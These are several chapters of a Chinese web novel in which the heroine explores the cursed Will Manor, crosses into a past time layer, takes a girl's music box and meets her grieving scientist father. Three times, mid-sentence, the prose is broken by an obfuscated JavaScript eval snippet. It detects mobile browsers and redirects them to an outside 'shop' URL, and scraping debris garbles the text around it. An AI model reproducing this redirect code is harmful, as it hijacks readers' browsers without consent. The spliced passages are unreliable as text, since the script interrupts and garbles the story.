容目不再多问,利落地换上防护服。在合上防护服面罩前,她突然转身,“霍夫曼先生,您之前提到庄园工人突然变得沉默,具体是从什么时候开始的?” “大、大概是三个月前?”霍夫曼被问得措手不及,“您问这个做什么?” “只是好奇。”容目拉上面罩,声音透过过滤器变得沉闷,“毕竟在生物污染事件中,时间线往往能揭示重要信息。” 她懒得再看霍夫曼那张假惺惺的脸,转而开始根据防护服内部的提示调试各项功能。 “设备没问题。”她最终确认道,“可以出发了。” 她这句话明显让霍夫曼松了口气。他连忙示意司机给容目拉开车门,自己则站在车外,露出了一个称得上是真心实意的笑容:“期待您带回好消息。” 轿车驶出地下停车场,容目回了一次头,从后车窗看到霍夫曼的身影迅速变小。 她有些无趣地收回视线,靠在座椅上闭目养神。很快,她就要进入副本真正的核心了。 一切答案,都封存在那个被灰绿色雾气笼罩的庄园里。 32. 第32章 威尔庄园(二) 轿车逐渐驶离城区,窗外的景色慢慢变得荒凉。两个多小时以后,当那座被灰绿色雾气笼罩的庄园终于在地平线尽头现出轮廓时,容目不自觉地坐直身子,发动了“真视之瞳”。 威尔庄园的规模远超她的想象。 即使隔着数公里远,那片建筑群依然带着令人屏息的压迫感。锈迹斑斑的铸铁围栏蜿蜒起伏,将整片丘陵都圈在其中。围栏后方,枯死的银叶草田一直延伸到视野尽头,灰黑色的土地皴裂如龟壳,在惨淡的天光下泛着死寂的色泽。 庄园的主宅坐落在最高处的山丘上,那是一座融合了哥特与维多利亚风格的庞大建筑。尖顶与塔楼刺破浓雾,如同一根根伸向天空的干枯手指,彩绘玻璃窗大多已经破损了,只留下了一个个黑洞洞的缺口。南侧翼楼有明显的火烧痕迹,焦黑的墙体与其余部分斑驳的灰白色形成了鲜明对比。 最令人不安的还是那片笼罩一切的灰绿色雾气,它并非均匀分布,而是在庄园上空缓缓流动,时而稀薄如纱,时而浓稠如浆。在雾气最浓处,连阳光都被扭曲了,散发出诡异的光晕。 但奇特的是,这些雾气如同一个巨大的盖子,罩住了整个庄园,却并不向四周扩散,仿佛严格遵守着某种无形的规矩,不越雷池半步。 容目凝视着那道无形的分界线,雾气在庄园边缘垂直切落,外界的阳光勉强照亮了枯黄的野草,而一步之遥的庄园内部,却是被扭曲光线笼罩的灰绿世界。 容目脑海中突兀地闪过一个奇怪的想法——这些雾气是拥有生命的,它们正在固执地守护着自己的领地。 这想法没有来由,但容目莫名觉得很有道理。她皱了皱眉:如果这些雾真是活的,那事情的麻烦程度可能要再上一个台阶了。 轿车在庄园铁门百米外停下,司机的声音带着些明显的恐惧和颤抖:“我只能送您到这里了,这雾……太邪门了。” 容目拎起装备箱下车,目送着轿车仓皇调头,很快消失在来时的路上。她独自站在那道无形的分界线前,在这里,她能清晰地看到雾气在门内缓慢翻滚,如同某种巨型生物的规律吐息。 她最后调整了一下面罩,确认防护服密封完好,然后伸手推向那扇锈迹斑斑的铁门。 “吱呀——” 门轴发出刺耳的摩擦声。就在门扉开启的瞬间,门内的雾气突然剧烈翻涌,直冲她面门而来。但就在雾气即将越过门框时,它们像是撞上了一堵无形的墙壁,重重地被弹回了庄园内部。雾气仿佛吃了痛,骤然回缩,只能在门内不甘地涌动。 容目迈过门槛。 刹那间,世界变了样。 空气中充斥着极其浓烈的异香,即使隔着全包防护服也无孔不入,闻久了让人有些烦躁。真视之瞳自动运转,她看见灰绿色的雾气中流淌着细密的能量丝线,它们缠绕着枯萎的植物,一圈一圈地盘在它们身上。有微弱的银色光点从植物的根系中飘出,顺着能量丝线不断汇向最高处那座巍峨的主宅。 雾气中隐隐约约传来细碎的耳语,像是无数人在同时低诉。那些声音忽远忽近,有的像是耳语呢喃,有的却像是长风从极远处送来的只言片语。 容目沿着田埂小心前行,尽量避免踩到地面上的银叶草。这种草看起来挺诡异的,还牵扯着能量丝线,能不碰尽量不碰。 她回想着“安魂曲”之前提供的信息,如果想要走正常流程通关,她需要找到埃罗.威尔的实验笔记,找到他女儿的遗物,后面还有听起来就很麻烦的引导他自我解脱。 无论要找哪样东西,前置条件都一定是进入庄园建筑内部。毕竟按照逻辑想,没有人会把实验笔记和亲人的遗物这种很重要的东西大喇喇地扔在田地里,一般都会保管在一个自己认为最安全的地方。 容目觉得,这两样东西藏在主宅的概率很高,所以她决定先去探一探主宅。 “安魂曲”之前说的很有道理,一个风险与收入不成正比的D级副本并不值得多花时间,但是容目别无选择。她需要加速成长,她需要天文数字的积分。而如果想要在短期内获得更多的积分,只有按正常路径通关这一条路可走,这样她能接触到更多副本信息,与副本互动程度越高,最后得到的积分相应的也会越多。 别人只需要想方设法存活,而容目却需要用尽一切手段变强。 她已经穿过了一半的银叶草田地,这一段路上风平浪静,除了那些似有若无的说话声和呼啸的风声之外,没有任何值得关注的奇怪事件发生。整座庄园就像是一个沉睡的巨人,对走入自己领地的容目毫无所觉。 怎么会这么安静?容目心下警惕,从她走进来到现在,至少过去了二十来分钟,却连一个人影也没看到,霍夫曼所说的那些“沉默的工人”都在哪里? 四周一片寂静,甚至连无孔不入的窃窃私语声都停了下来,只剩下容目前行时鞋底与沙土摩擦发出的“沙沙”声。 异香越来越浓,几乎让空气都变得黏稠起来,隔着防护服湿湿地糊在她身上,有点恶心。她机械性地迈步、前进,一成不变的景色,荒芜枯败的植物,一切的一切都像是复制粘贴,没有丝毫变化。 就在容目即将走出这片枯死的田地时,有什么不一样的东西吸引了她的目光,她快走几步凑上前去。那是一个翻倒在路边的半旧木质工具箱,箱盖敞开着,里面的工具已经撒了一半,一把园艺剪斜插在沙土里,手柄上残留着些许干涸的暗色污渍,仿佛还在等着人把它捡起来。 这显然是某个工人匆忙间遗落的。容目蹲下身,没有触碰工具箱,而是探头向箱子内部望去。 真视之瞳能清晰地看出工具表面缠绕着的能量丝线,这些丝线散发着淡淡的暗红色,在灰绿色的雾气和周围银叶草的衬托下,显得妖冶而诡异。她的目光扫过工具箱里层,发现杂乱交叠的工具下还压着一本边缘卷曲的褐色笔记本。 她犹豫了一下,从霍夫曼为她准备的装备箱里抽出了一根黑色的金属棍,小心翼翼地将笔记本够出来,然后又用这根棍子笨拙地挑开了封面。 扉页上潦草地写着一行字: “他彻底疯了!这种事情怎么可能成功!我不想为一个死人陪葬……” 这行字扭曲而慌乱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039445|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还透着一种冰冷的绝望,“葬”字的最后一笔拖得长长的,甚至一直延伸到了页面边缘。这不像是写出来的,更像是人处在疯狂中时笔尖用力,在纸上划出的深深一道。 容目皱眉,这人知道些什么?“他”和“死人”分别指代着谁?“这种事情”又是什么? 笔记本上这句话没头没尾的,再往后翻都是一片空白,这人只写了一句话。 不管怎么说,这都是她进入庄园以来获得的第一个线索。容目隔着防护服手套捏起笔记本的一角,将它放进了装备箱里,然后站起身,继续向主宅前进。 越靠近建筑,空气中的异香就越发浓重,甚至变得刺鼻,雾气中的能量丝线也愈发密集。这些丝线如同血管般从四面八方汇向主宅,最终消失在那些破损的彩绘玻璃窗后。 当她终于站在主宅那扇雕花铸铁大门前时,发现门扉虚掩着,好像刚刚还有人进出。透过门缝,可以看到内部昏暗的大厅里漂浮着无数晶亮的银色光点,如同夜空中安静飞舞的萤火虫,美得如同幻梦。 突然,容目听见了一声哭泣。哭泣声从她身后响起,很压抑,像是一个人死死捂住了嘴,尽力抑制住自己的声音,不想让它传出来,但还是从唇角溢出了破碎的悲泣。 她猛地回过头,看向自己的身后。没有,什么都没有。田地里一片静谧,和之前一样空无一人,只有灰绿色的雾气慢慢涌动,时不时遮住一小片视野。 难道是自己听错了?容目有点不确定,她转过头,仔细检查了一圈。周围干干净净,连一道可疑的影子都没有。 她站在原地凝神细听,那哭声却再未出现。只有风声穿过枯枝荒草,发出有些尖利的哨音。 容目收回视线,将注意力重新集中在那扇虚掩的雕花铁门上。或许只是风声作祟,让她感觉像是听到了哭声吧,现在也没有办法确认哭声是否真实存在。 她深吸一口气,不再思考突然出现的哭声,伸手推开了主宅大门。 门轴发出沉重的呻吟,打破了周遭的寂静,大厅内的景象完整呈现在她眼前——这是一座称得上是宏伟的宫殿,穹顶上悬挂着一盏巨大的水晶吊灯,只是如今大半水晶都脱落了,仅剩的几颗在银色光点的映照下泛着惨淡的光。墙壁上覆盖着暗红色的天鹅绒壁布,多处褪色发白,露出了底下斑驳的墙纸。 大厅中央铺着一张巨大的波斯地毯,图案已经被磨损得难以辨认,边缘卷曲发黑,像是被什么液体浸泡过。壁炉里积满灰烬,但壁炉架上摆放的一对银质烛台却一尘不染,反射着诡异的光芒。 正对着大门的位置,一座宽大的橡木楼梯蜿蜒而上,楼梯扶手上的雕花精致繁复,却布满了蛛网般的裂痕。楼梯两侧各有一道拱廊,通向更深处的黑暗。 无数银色光点循着某种特定的轨迹游动,既美丽又令人心生不安,它们最终都渐渐汇向二楼,隐没进黑暗深处。 容目小心地踏入大厅,脚下地毯扬起细小的灰尘。她注意到灰尘上有几道新鲜的拖痕,一直延伸到楼梯口,像是最近有什么东西——或者什么人——被从这里拖了过去。 33. 第33章 威尔庄园(三) 容目蹲下身,仔细观察这些拖痕。痕迹很新,边缘清晰,约摸有成年人的肩膀那么宽。在真视之瞳的视野里,拖痕表面残留着微弱的暗红色能量,与之前在工具箱中看到的能量丝线如出一辙。 她顺着拖痕慢慢向前走,然后停在了楼梯口,那里有一小片暗色的污渍。污渍已经干涸发黑,但形状很不规则,向四面八方乱糟糟地伸展,如同一朵残缺且丑陋的花。 容目将面罩的过滤强度调小了一点,然后从装备箱里翻出一把轻巧的折叠刀,用刀尖轻轻刮取少许污渍,放在鼻尖下嗅了嗅——一股散发着铁锈味的腥气混杂着银叶草的异香涌入鼻端。 是血迹。 容目心中一凛,难道这里在不久之前发生了暴力事件?这些血是谁的?实施暴行的人是谁?他的目的是什么? 就在她凝神分析时,二楼突然传来了一声重物倒地的闷响,紧接着是一阵急促的脚步声。那脚步声由近及远,在容目耳中迅速变小,很快就消失了。 她立刻起身,将装备箱扔在原地减负,抽出腰间的破妄之刃踏上楼梯。年久失修的木楼梯在她脚下发出危险的吱呀声,仿佛随时都会坍塌。容目竭尽全力放轻脚步,加快速度,在楼梯不堪重负的摇晃声中迅速冲上了二楼。 走廊向左右两侧延伸,右侧尽头的一扇房门虚掩着,正是刚才脚步声消失的方向。 容目悄无声息地靠近,然后猛地推开门—— 房间里空无一人。一把椅子侧翻在地上,窗帘微微晃动,像是刚刚有人翻窗逃走。她仔细检查了整个房间,除了一些混合着沙土的杂乱脚印外,对方没留下任何东西。 失望之余,容目走向窗边,拨开了遮挡视线的窗帘,试图从高处俯瞰庄园,找到一些蛛丝马迹。 目光刚刚投向窗外,她就愣在了原地。 灰绿色的雾气依然笼罩着庄园,但原本枯死的银叶草田此刻竟焕发着诡异的生机——那些植物泛着不自然的银光,几乎亮得刺眼,在微风中轻轻摇曳。更令人毛骨悚然的是,田地里密密麻麻站满了穿着工装的工人,他们正机械地收割着银叶草,动作整齐划一到令人不适。 这……怎么会……明明她刚刚进来的时候田地里还空无一人,银叶草也是完全枯萎的状态,不过短短几分钟,怎么会发生这样翻天覆地的变化? 容目猛地意识到了什么,她瞬间转身,拿出自己的最大速度,从那截脆弱的楼梯上一冲而下,直扑大门。 她顾不得喘息,右手还紧紧握着破妄之刃,左手用力,再次推开大门—— 眼前的景象让她倒抽一口冷气:门外依然是那片死寂的枯田,尘沙遍地,荒无人烟。 这座庄园仿佛被分割成了两个不同的时空,现在,这两个时空重叠在了一起:一个死气沉沉,一个诡异鲜活。 而她,正站在两个时空的交界处。 原来如此。 难怪她一路走来连一个工人都没见到——他们确实存在,只是被封存于另一个时空层面。这座庄园就像一颗内部包裹着昆虫的琥珀,需要穿过外面那层壳,才能触碰到真正的内在。 容目轻轻吐出一口浊气,她总算在这个副本里挖掘出了一条重要线索,现在摆在她眼前的问题变成了——究竟该如何进入内部世界? 她退回大厅,目光在大厅里转了一圈,发动了“真视之瞳”。 在真视之瞳的视野里,这些光点并非完全随机飘动,而是被纤细的能量牵引着游弋,在某些特定的区域还会加速旋转,形成微小的漩涡。 她试探性地向其中一个光点漩涡迈出一步。脚尖落地的瞬间,周围的空气突然微微扭曲,耳边隐约传来了模糊的人声。但当她在地面上踩实之后,一切又恢复了死寂。 容目收回脚步,若有所思地环顾大厅。她的目光最终落在了刚进入大厅时就看见的壁炉架上。到处都蒙着一层厚厚的灰,唯有那对银质烛台一尘不染,在昏暗光线下反射着异常明亮的光泽。 这很不寻常。 她走近壁炉架,真视之瞳全力运转。烛台表面覆盖着一层密集的银色光点,刚才离得远看不真切,原来那种明亮的反光是这些光点散发出来的。它们如同微型的星系,围绕着烛台旋转,自成一体,浑然天成。 更引人注目的是,烛台底座与壁炉架接触的位置上,无数条能量丝线伸展出来,如同植物的根系,深深扎入木质结构中。 容目伸出手,轻轻握住其中一支烛台。 刹那间,烛台如同活物般微微震动,表面的银色光点骤然亮起,顺着她的手臂迅速蔓延。与此同时,她另一只手上的破妄之刃也开始共鸣,二者形成了完全一致的震颤频率。 容目福至心灵,将烛台缓缓举起。当烛台与视线平齐的瞬间,她看到烛台光滑表面上映照出的不再是这个破败的大厅,而是另一个灯火通明、人来人往的空间。 她毫不犹豫地将破妄之刃的刃尖轻点在烛台表面。 “嗡——” 一声低鸣在空气中荡开,以烛台为中心,银色的波纹一圈一圈地扩散开来。周围的景象开始溶解、重组,腐朽的气息被清新的草木香取代,昏暗被温暖的烛光驱散,死寂被细微的交谈声打破。 波纹所及之处,鲜亮的色彩也重新在世间晕染开来。 褪色的暗红壁布恢复了天鹅绒的厚重质感,每一道织纹都清晰可见。穹顶的水晶吊灯渐次亮起,数千颗水晶向不同角度折射出璀璨的光芒,将整个大厅照得恍如白昼。波斯地毯上磨损的图案重新变得鲜明,繁复的藤蔓与花朵在地面上蜿蜒绽放。 壁炉中的灰烬又变回了无声燃烧的温暖火焰,木柴噼啪作响,投下跃动的光影。 容目听见自己身后传来了轻快的脚步声。她转过身,看见两个身着整洁侍女裙的姑娘端着银制茶具从宽大结实、明显经过认真保养的橡木楼梯上走下来,低声交谈着今晚宴会的准备事宜。她们径直穿过了容目现在站立的位置——是的,穿过——仿佛她根本就不存在。 窗外,皎洁的月光洒在生机勃勃的银叶草田上,工人们提着剔透的玻璃灯笼在田间巡视,他们的动作和表情都生动极了,丝毫看不出僵硬和麻木。银色的叶片在月光与灯光下泛着柔和的光泽,远处隐约传来悠扬的小提琴演奏声,一切都显得宁静而美好。 容目低头,发现自己正站在大厅中央,但光可鉴人的大理石地面上却映不出她的身影。她又试着伸手触碰身旁的小茶几,指尖也毫无阻碍地穿过了实木几面。 在这个时空里,她是一个彻底的旁观者。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039446|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 手中的烛台微微发烫,表面的银光以肉眼可见的速度在消退。容目明白,她必须在银光完全消退之前这段有限的时间里,找到全部真相。 她握紧发烫的烛台,沿着华丽的走廊向前走去。两侧墙壁上悬挂的肖像画仿佛也焕发着鲜活的光彩,衬得画中人物的眼神温和而生动。 容目经过一间音乐室,透过虚掩的门扉,她看见一个身穿淡蓝色纱裙的小女孩正坐在钢琴前。女孩约摸八九岁,从容目的角度只能看见她的侧脸,她的皮肤白得近乎透明,如同瓷器般脆弱,一头银色的长发在烛光下流淌着柔和的光泽。她纤细的手指在琴键上笨拙地移动,弹奏着简单的练习曲。 “不对不对,奥罗拉。”一个温和的男声从房间另一头传来,“这个节拍要再慢一些。” 穿着深色休闲装的中年男子走过来,俯身在女孩身旁,耐心地握着她的手重新放在琴键上,眼神里盛满慈爱。 “爸爸。”小女孩抬起头,微微侧过脸,冰蓝色的眼睛像是盛着星光的湖泊,直到此刻,容目才终于看清了,女孩的眉毛和睫毛也全部是银色的,远远望去如同山间精灵。她快乐地微笑着,天真又俏皮地宣布道:“等我学会了,就要在你的生日宴会上弹奏这首曲子!” 男人轻轻抚摸女儿的头发,“我很期待,我的小公主。这将会是我收到的最好的生日礼物。” 这温馨的一幕如同带着无尽的魔力,深深吸引着容目的注意力,她静静地注视着,几乎要忘记自己身在何处。直到手中的烛台又烫了几分,她才突然回过神来,皱了皱眉。怎么回事?明明她是来寻找埃罗.威尔,进而收集线索的,怎么不知不觉就被这两个人吸引了。难道这个副本还有迷惑人心的能力? 已经浪费了不少时间,烛台上的银色光点又黯淡了几分,容目没功夫细想,她快速迈开步子,继续向前走去。 接下来的几个房间里空空的,只有几个仆人在安静地打扫,容目匆匆看了看,没有什么值得关注的,就踏上了那座正对大门口的楼梯。在通往二楼的转角处,她听见两个女佣在窗边低声交谈。 “埃罗先生对奥罗拉小姐真是宠爱有加。”较年轻的女佣一边擦拭窗框一边说,“自从夫人去世后,小姐就是他全部的心血了。” 年长些的女佣叹了口气:“是啊,夫人还那么年轻就……听说因为夫人的发色和银叶草的颜色一样,先生才把这种植物种满了整个庄园。” “先生也真是可怜,好在奥罗拉小姐长得越来越像夫人了,发色也几乎一模一样,这种银色可真美啊,我还没见过别人拥有这种颜色的头发呢。” “先生现在每天看着小姐,也算是一种慰藉吧。” 容目停下脚步。 银发的奥罗拉小姐是埃罗.威尔的女儿,那么刚刚那个中年男人就是埃罗.威尔? 容目呼出一口长气,是她先入为主了。她以为埃罗.威尔会是一个说一不二的铁血执政者,或者是一个奸诈油滑的商人,就像霍夫曼那样。可是她从来没想过,埃罗.威尔会是一个耐心且温柔的慈父。 烛台越来越烫手,上面附着的银色光点也越来越稀薄,容目咬紧牙关,从楼梯转角处向楼下狂奔! 希望时间还来得及,她要去拿一样东西。 34. 第34章 威尔庄园(四) 容目几乎是半跌半滚着摔下楼梯的,她现在无法触碰这个空间里的任何事物,也就感受不到疼痛。她手中的烛台烫得惊人,银光忽明忽暗,仿佛随时都会熄灭。她必须赶在时空切换之前拿到奥罗拉的“遗物”,如果她没猜错的话,这是唯一的机会! 她凭着记忆冲向音乐室。门依然虚掩着,里面传来断断续续的琴声。容目毫不犹豫地从门缝里挤进去,顾不得透支异能的危害,将真视之瞳催动到极致,目光迅速扫过整个房间。 奥罗拉还坐在琴凳上,面容恬静,专注地练习着那个小节。而埃罗.威尔就静静地站在一旁,目光很温柔,却透着淡淡的哀伤。 容目的视线只在他们身上停留了一瞬,随即移转开来,落在了窗边的小茶几上——那里放着一个精致的八音盒,盒盖上雕刻着银叶草的图案。在真视之瞳的视野里,这个八音盒周围萦绕着极其浓郁的能量波动,几乎像是一颗燃烧着的太阳。 就是它! 容目快步上前,伸手去拿八音盒。就在她的指尖即将触碰到盒盖的瞬间,烛台突然爆发出刺目的银光,比之前强烈数倍的灼烧感猛地席卷而上! 容目强忍着剧烈的痛苦,死死咬住牙,手臂去势不减,用尽最后力气抓住了八音盒。“啪”的一声轻响,烛台终于不堪重负,在她手中彻底化为了齑粉。周围的景象开始剧烈扭曲,色彩如潮水般褪去,灰暗的底色渐渐覆盖上来。 在时空彻底切换的刹那,容目听见了奥罗拉有些惊喜的尖叫声:“爸爸你看!八音盒在发光……” 当容目好不容易从眩晕中缓过神来,重新站稳时,她已经回到了破败的大厅。身上还残留着烛台燃烧破碎后的白色粉末,而那个雕刻着银叶草的八音盒正静静地躺在她手中。 她成功了。在时空转换的缝隙里,她夺来了这件尚未成为遗物的遗物。 容目将八音盒翻来覆去看了几遍,没找到发条,打开一看,里面空无一物,没有跳舞的小人,也没有音筒。但在真视之瞳状态下,她能看到盒底萦绕着一缕细如发丝的银色能量,那缕能量安安稳稳地盘踞在八音盒一角,似乎陷入了沉睡,没有半点动静。 容目凝视着手中空荡荡的八音盒,心情复杂难言。奥罗拉鲜活的模样仍在眼前,她专注练琴时微蹙的眉头,与父亲说话时快乐的笑容,还有发现八音盒发光时惊喜的呼喊……一切的一切都如此真实,可这样鲜活灵动的生命,却注定逃不过消逝的命运。 她将八音盒小心收好,抬头环顾这个重归死寂的大厅。灰尘覆盖了光洁的地面,水晶吊灯再次变得残缺,唯有壁炉架上剩下的那支烛台仍然干干净净地立在那里,等待着下一个进入另一重世界的机会。 容目走近壁炉,发现仅剩的那支烛台周围有点异样:那一小片空间的银色光点变得极其活跃,它们以前所未有的高速旋转着,形成了无数个层层嵌套的复杂漩涡,看久了似乎能从其中辨认出一层层光怪陆离的绚烂幻象。 她眨了眨眼,强迫自己移走了视线。这个副本有点邪门,似乎能在特定条件下控制人的感知能力,不能盯着一个点看太久。 容目转了个身,迈步慢慢走向音乐室。门紧紧地关着,她尝试着推了一下,没推开,好像是上了锁,但从下面的门缝里却透出了隐隐约约的光。里面还亮着灯? 她后退半步,抬脚用力踹向门锁的位置,木门晃了一下,门轴发出刺耳的呻吟,微微打开一条缝。容目再接再厉,继续猛踹两脚,随着“砰”的一声巨响,木门应声而开,扬起一片灰尘。 音乐室内的景象让她怔在原地。 这里与外面简直像是两个世界——钢琴一尘不染,琴键黑白分明,乐谱整齐地摆在谱架上,窗边的茶几上甚至还有一杯冒着热气的红茶,仿佛主人刚刚离开,很快就会回来。 容目走近钢琴,手指轻轻搭在上面,发现琴键上还残留着一点点温度。她翻开乐谱,首页上有一行娟秀的字迹:“我偷偷换了曲子,没让爸爸发现,这样在生日宴会上就能给他一个惊喜啦~” 即使只从字迹上,也能感受到奥罗拉雀跃的心情,她满心期待着自己父亲的生日宴会,在夜里悄悄爬起来练琴,精心准备着这份惊喜。 突然,钢琴自行奏响了一个音符,轻轻的一声,但在寂静的室内依然响得惊人。容目猛地回头,看见琴键正在缓缓下沉,有一只无形的手正在弹奏。 一个个音符接连响起,渐渐组成一段优美的旋律。能听得出来,演奏者还不是十分熟悉这首曲子,音符与音符之间不时夹杂着生疏的停顿,并不流畅,却透着明显的哀伤。 容目静静地听着,她看着琴键自动抬起落下,看着手中的乐谱无风自动地翻了一页又一页……最终,一曲终了。 最后一个音符在空气中缓缓消散,琴键恢复了原位,乐谱也已经翻到了最后一页。容目站在原地,感受着空气中尚未散尽的哀伤余韵。 就在这时,她怀中的八音盒突然微微发烫,盒盖自动开启一条细缝,空气中蓦然浮现出无数飘散的破碎银光,如流萤般汇入八音盒中。 容目将盒盖开得更大,原本空荡的盒内多了一个精致的银色音筒,筒身上细密地刻着乐谱音符的纹路。似乎是察觉到了她的视线,那个漂亮的音筒轻轻转动起来,八音盒重新流淌出了方才那首曲子,只是此刻听起来更加完整动人,连那些生涩的停顿都化作了独特的韵律。 容目合上盖子,乐声戛然而止。她最后看了一眼已经被墙角阴影遮住大半的钢琴,转身走向大厅。 壁炉架上,仅剩的那支烛台散发着温润的银光,如同一个等待她到来的老友。当她再次伸手握住烛台时,一股难以言喻的悲伤突然涌上心头——这是奥罗拉保留的情感,正透过烛台传递给她。 她定了定神,举起烛台,用破妄之刃轻触表面,银色的波纹缓缓荡开。这次时空转换的感觉格外凝滞沉重,就像是穿过了一层黏稠的泪水。当周围的景象终于稳定下来时,容目一时间竟不知道自己身在何处。 周围太暗了,连刚刚那个破败的大厅都能透进微弱的月光,可这里却几乎伸手不见五指。 烛台不知道什么时候也暗了下去,上面附着的银色光点有气无力地闪了闪,根本无法担当起照明的重任。她慢慢向前移动,试图搞清楚周围的状况。在这个空间里她触碰不到除特殊物品以外的东西,倒也不用担心因为看不见而撞上什么家具之类的物件。 但是她刚刚放下半颗心,脚下就踢到了什么坚硬的物体,发出了“咣”的一声闷响。更糟糕的是,那东西好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039447|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是圆形的,被她这么一踢,在地上骨碌骨碌地滚了好远,最终“砰”地撞在其他东西上,停下不动了。 容目屏住呼吸,一时间僵在了原地。自己刚刚踢到了什么?难道又是一件与副本有关的特殊物品? 这个念头还没转完,房间另一头就传来了“啪”的一声脆响,随即,她的眼前就多了一簇橙红色的小小火苗——有一个人在她前方不远处按亮了打火机! 容目警惕地后退半步,抬眼望向火光背后的人影,在看清那个人的一瞬间,她的瞳孔骤然放大,“埃罗.威尔?”由于太过震惊,她甚至不自觉地把这个名字说了出来。 火光映亮了埃罗.威尔瘦成一把枯柴的手指,也从下至上地照亮了他的面容——他憔悴得几乎让人认不出来。眼窝深陷、胡茬凌乱,布满褶皱的实验袍上到处沾着斑驳的污渍,曾经梳理整齐的头发如今也肮脏污秽,胡乱纠结成一团团。 一个从未见过的人叫出了自己的名字,埃罗.威尔却似乎并不吃惊,他只是微微抬了抬眉毛,牵动了额角的皮肉,几条细细的皱纹从眼角浮现出来。 “又来了一个。”他的嗓音粗砺嘶哑,如同无数细碎的砂石互相刮擦,又像是有人用指甲使劲抓挠粗糙的砂纸,听了让人觉得难受,但他的语调却异常平静。 他缓缓向前走了两步,打火机的火苗随着他的动作微微晃动,在墙上投下扭曲的影子。 容目没出声,也没有动。她保持着戒备的姿势,手掌按在破妄之刃上,一旦对方有异动,她就能瞬间做出反应。 看着她戒备的反应,埃罗.威尔似乎笑了笑,“不必紧张。”他慢悠悠地说,抬起另一只手在黑暗中摸索了两下,抓出了几支蜡烛。他认真地用打火机一根一根点亮了蜡烛,又将这些蜡烛一一插在烛台上,终于照亮了这片空间。 容目这才看清,他们正站在一间实验室里,四周摆满了各种仪器和试管,每件物品都摆放得一丝不苟、井然有序,与埃罗.威尔一片凌乱的外表形成了鲜明对比。 埃罗.威尔站在原地沉默了一会,从身旁的实验台上拿下了一本笔记,“我知道你在找这个。”他扬了扬那个本子,似乎想微笑,却只是勉强扯了扯嘴角,“这是我的实验笔记。” 他没想着等到容目回应,只是自顾自地说了下去:“你很不一样,没想着直接杀了我,对奥罗拉也保留着一份温情。”他顿了顿,“而且,奥罗拉那天很惊喜,她看见了会发光的八音盒。” 容目越听越心惊,埃罗.威尔知道的事情怎么会这么多?难道她在庄园中的一举一动都在他的视野之下吗?她张了张嘴,却不知道自己究竟应该说些什么。 埃罗.威尔看起来非常平静,他的眼神清明得可怕,完全看不出混乱与疯狂。他端起其中一支烛台,转过身,照亮了身后一个巨大的玻璃容器,“从某种程度上说,我很感谢你。”他继续慢慢地说:“所以,我决定让你看到全部真相。” 透明的容器中,一株体型比同类大了许多倍的银叶草正在缓缓摇曳,它的叶子黯淡无光,是毫无光泽的惨白色,边缘卷曲枯黄,有些地方甚至还残留着被火烧过的焦黑。 埃罗.威尔的声音里带着奇异的平静,他望着容目的眼睛,轻轻地说:“这才是真正的奥罗拉。” 35. 第35章 威尔庄园(五) 威尔家族的荣耀,是用铁与血铸就的。 自开国以来,他们便是王族最锋利的剑,最坚固的盾。初代威尔大公跟随开国君主力战沙场,在决定王国命运的战役中,他身中七箭仍死守桥头,为大军争取了至关重要的三个小时。战后,他被赐予“铁壁”称号,国王亲自参加他的葬礼,并追授他为公爵,世袭罔替。 三百年间,威尔家族英才辈出。每一代族长都担任王国元帅,每一位子弟都在不同的领域中崭露头角。到了埃罗.威尔这一代,这个家族已经不仅是军事世家,更将触角延伸至政治、经济等各个领域。 威尔家族的府邸占据王都之外景致最优美的地区,他们的私人画廊收藏着无数大师的真迹,他们的宴会厅能容纳半个王城的贵族。 埃罗作为这一代唯一的继承人,从小就被寄予厚望。他应该像祖辈一样,骑着战马,手持长剑,英勇杀敌,在沙场上续写家族荣光。 但埃罗却让所有人失望了。 这个黑发蓝眸的年轻公爵继承人,对刀剑和争斗毫无兴趣,也与坚毅铁血等等词语毫不沾边,反而性格温吞,整日泡在家族温室里,沉迷于植物的海洋。他能准确说出每一株植物的拉丁学名,却记不住最基本的兵法阵型;他能分辨出各种花朵最细微的香气差异,却对政治权谋一窍不通。 老威尔公爵为此伤透脑筋。他请来最好的剑术老师,埃罗却在比试时屡次走神,只顾着分析对手佩剑上镶嵌的宝石成色;他带埃罗出席军事会议,年轻人却装作认真做记录的样子,在笔记本上偷偷描摹窗外的花草。 “我们威尔家世代为将,怎么到这一代出了个园丁?”老公爵时常对着好友叹息。 这样一个不学无术的贵族子弟,如何能撑起偌大的威尔家族?又如何能再续威尔家族延续了数百年的荣光? 